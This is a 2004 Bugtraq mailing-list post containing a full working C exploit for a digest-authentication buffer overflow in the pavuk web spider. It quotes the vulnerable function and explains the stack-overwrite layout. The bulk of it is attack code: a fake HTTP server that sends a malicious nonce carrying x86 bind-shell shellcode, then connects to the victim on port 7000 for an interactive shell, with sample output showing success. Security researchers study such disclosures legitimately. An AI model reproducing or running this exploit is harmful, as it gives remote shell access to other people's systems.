EXPLOIT Re: Pavuk Digest Authentication Buffer Overflow

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Date: Sat, 7 Aug 2004 01:41:26 -0400
To: bugtraq <bugtraq@securityfocus.com>

/*
 * exploit for pavuk web spider - infamous42md AT hotpop DOT com
 *
 * shouts to mitakeet, skullandcircle, and thanks to matt murphy for making me
 * realize a n00bish mistake i made.
 *
 * this exploit probably deserves a bit of an explanation as it was not exactly
 * straight forward. the vulnerable code looks like this, with some comments
 * inlined by me:
 */
#if 0
char *http_get_digest_auth_str(auth_digest, method, user, pass, urlp, buf)
http_digest_info *auth_digest;
char *method;
char *user;
char *pass;
url *urlp;
char *buf;
{
    /* this is the buffer we bitch slap */
        char pom[1024];
        char *a1,*a2,*a3;
        char *d = url_encode_str(urlp->p.http.document, URL_PATH_UNSAFE);

    /* not yet */
        sprintf(pom, "%s:%s:%s", user, auth_digest->realm, pass);
        a1 = _md5(pom);
        sprintf(pom, "%s:%s", method, d);

    /* this turns into a 32 byte string */
        a2 = _md5(pom);

    /*
     * this is the point that we overflow the buffer. we control
     * auth_digest->nonce, and that is where all of our evil code go. but crap,
     * look, the string a2 gets appended to the nonce buffer, that means
     * whatever lives above the saved EIP we overwrite is going to get fuxxored
     * to. that means the arguments to the function get trashed, usually not a
     * problem, but look below at the following sprintf(). those variables get
     * used again, so we have to restore them to a sane state.
     */
    sprintf(pom, "%s:%s:%s", a1, auth_digest->nonce, a2);
    a3 = _md5(pom);

    /* crap */
        sprintf(buf,
                "Digest username=\"%s\", realm=\"%s\", nonce=\"%s\", uri=\"%s\", response=\"%s\"" ,
                user, auth_digest->realm, auth_digest->nonce, d, a3);

    /* more crap, we need to repair nearly all of the parameters */
        if (auth_digest->opaque)
        {
                strcat(buf, ", opaque=\"");
                strcat(buf, auth_digest->opaque);
                strcat(buf, "\"");
        }
        _free(d);
        _free(a1);
        _free(a2);
        _free(a3);

        return buf;
}
#endif
/*
 * so u can see we can't just overflow and go. we need to recreate at least
 * the auth_digest pointer, the user pointer, and the buf pointer. so, the
 * strategy is as follows:
 *
 * + overwrite auth_digest to point into the buffer we control
 * + where we point auth_digest must also contain valid pointers as they are
 * used as the strings that get printed into buffer.
 * + so we point those pointers towards the very end of our buffer. the
 * strings they point to should not be so long. our buffer is NULL termed so if
 * they point towards the end of it, we know they'll end at a set point.
 * + we set the user pointer to the same place as the auth_digest pointer.
 * + we set buf to point past the end of our buffer, at some higher address.
 * that is where all the other strings get printed to in sprintf() and
 * strcat().
 * + and that's about it. so our buffer looks like this:
 *
 * <-------------------|
 * ALIGN NOPS SHELL STRING_PTRS RETADDR USER_AND_DIGEST_PTRS BUF_PTRS
 * |----------------------------^ |------^
 *
 * the only arg you pass is the base address of the buffer that we overwrite,
 * which lays somewhere on the stack. note this is not the location of our
 * original buffer, but the location of the pom variable from above func. and
 * you need to be root as we bind to port 80 and pretend to be a webserver.
 *
 * [root@localho.outernet] ./ps
 * Usage: ./ps <base of nonce buffer>
 *
 * [root@localho.outernet] ./ps 0xbfffdb34
 * got a shell
 *
 * id
 * uid=1000(n00b) gid=100(users) groups=100(users)
 *
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

#define die(x) do{ perror((x)); exit(1); }while(0)
#define SHELL_PORT 7000
#define HTTP_PORT 80
#define BS 0x1000

/* probably don't need all this */
char *reply =
"HTTP/1.1 401 Authorization Required\n"
"Date: Sat, 07 Aug 2004 02:10:07 GMT\n"
"Server: Apache/1.3.27 (Unix) PHP/4.3.1\n"
"WWW-Authenticate: Digest realm=\"time2die\" nonce=\"%s\"\n"
"Status: 401 Not Authorized\n"
"Connection: close\n"
"Content-Type: text/html\r\n\r\n";

/* call them */
char sc[] =
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    

int conn(struct sockaddr_in *sap)
{
    int sock;

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if(sock < 0)
        die("socket");
    if(connect(sock, (struct sockaddr *)sap, sizeof(*sap)) < 0)
        die("connect");

    return sock;
}
    
void shell(struct sockaddr_in *sap)
{
    int sock = 0, l = 0;
    char buf[BS];
    fd_set rfds;

    sap->sin_port = htons(SHELL_PORT);
    sock = conn(sap);

    printf("got a shell\n\n");
    FD_ZERO(&rfds);

    while (1) {
            FD_SET(STDIN_FILENO, &rfds);
            FD_SET(sock, &rfds);

            if (select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
                die("select");

            if (FD_ISSET(STDIN_FILENO, &rfds)) {
                if ((l = read(0, buf, BS)) <= 0)
                        die("\n - Connection closed by user\n");
                if (write(sock, buf, l) < 1)
                        die("write");
            }

            if (FD_ISSET(sock, &rfds)) {
                l = read(sock, buf, sizeof(buf));

                if (l == 0)
                        die("\n - Connection terminated.\n");
                else if (l < 0)
                        die("\n - Read failure\n");

                if (write(1, buf, l) < 1)
                        die("write");
            }
    }
}

int do_listen()
{
    int sock = 0, on = 1;
    struct sockaddr_in sa;

    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(HTTP_PORT);
    sa.sin_addr.s_addr = INADDR_ANY;

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if(sock < 0)
        die("socket");

    if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0)
        die("setsockopt");
    
    if(bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0)
        die("bind");

    if(listen(sock, 1) < 0)
        die("listen");
    
    return sock;
}

void sploit(int sock, struct sockaddr_in *sap, u_long nbase)
{
    int len = 0, x;
    char buf[BS], evil_nonce[BS];
    u_long retaddr, ptrs_to_struct, fake_structs, new_buf;

    memset(buf, 0, BS), memset(evil_nonce, 0, BS);
    
    /* read the req */
    if(recv(sock, buf, BS, 0) < 0)
        die("read");

    /* build the buffer */

#define ALIGN 3
#define NNOPS 100
#define SHELL_LEN 132
#define PTRS_OFFSET (ALIGN+NNOPS+SHELL_LEN) /* the string pointers */
#define PTRS_LEN 500
#define RET_OFFSET (PTRS_OFFSET+PTRS_LEN)
#define RET_LEN 288
#define PPTRS_OFFSET (RET_OFFSET+RET_LEN) /* the pointers to pointers */
#define PPTRS_LEN 20
#define BUF_OFFSET (PPTRS_OFFSET+PPTRS_LEN) /* the pointer to new buf */
#define BUF_LEN 20
#define TOTAL_LEN (BUF_OFFSET+BUF_LEN)

#define PTRS_LOC 1000 /* where the strings point to */
#define PPTRS_LOC 300 /* offset from base to the string pointers */
#define RET_LOC 50 /* offset of NOP buffer */
    fake_structs = nbase + PTRS_LOC;
    retaddr = nbase + RET_LOC;
    ptrs_to_struct = nbase + PPTRS_LOC;
    new_buf = nbase + TOTAL_LEN*2;

    /* the NOPS and shellcode */
    memset(evil_nonce, 'A', ALIGN);
    memset(evil_nonce+ALIGN, 0x90, BS);
    memcpy(evil_nonce+NNOPS+ALIGN, sc, SHELL_LEN);

    /* the fake pointers point towards end of buffer */
    for(x = 0; x < PTRS_LEN-3; x += sizeof(fake_structs))
        memcpy(evil_nonce+PTRS_OFFSET+x, &fake_structs, sizeof(fake_structs));

    /* the ret addr */
    for(x = 0; x < RET_LEN; x += sizeof(retaddr))
        memcpy(evil_nonce+RET_OFFSET+x, &retaddr, sizeof(retaddr));

    /* the pointers to the fake pointers */
    for(x = 0; x < PPTRS_LEN; x+= sizeof(ptrs_to_struct))
        memcpy(evil_nonce+PPTRS_OFFSET+x, &ptrs_to_struct, sizeof(ptrs_to_struct));

    /* and the new location for buf */
    for(x = 0; x < BUF_LEN; x+= sizeof(new_buf))
        memcpy(evil_nonce+BUF_OFFSET+x, &new_buf, sizeof(new_buf));
    
    evil_nonce[TOTAL_LEN] = 0;

    /* fill in HTTP reply */
    len = snprintf(buf, BS-1, reply, evil_nonce);

    /* i dont care what u request, you're getting the sploit */
    if(send(sock, buf, len, 0) < 0)
        die("send");

    close(sock);

    sleep(1);
    shell(sap);
}

int main(int argc, char **argv)
{
    int lsock, asock;
    u_long nbase = 0;
    struct sockaddr_in sa;
    pid_t cpid;
    socklen_t salen;

    if(argc < 2){
        fprintf(stderr, "\tUsage: %s <base of nonce buffer>\n", argv[0]);
        return EXIT_FAILURE;
    }
    sscanf(argv[1], "%lx\n", &nbase);
    
    lsock = do_listen();

    while(1){
        asock = accept(lsock, (struct sockaddr *)&sa, &salen);

        if( (cpid = fork()) == 0)
            sploit(asock, &sa, nbase);
        else if(cpid < 0)
            die("fork");
        
        close(asock);
    }

    return EXIT_SUCCESS;
}

-- 
-sean

• Previous message: Robin Rosenberg: "Re: CVS woes: .cvspass"
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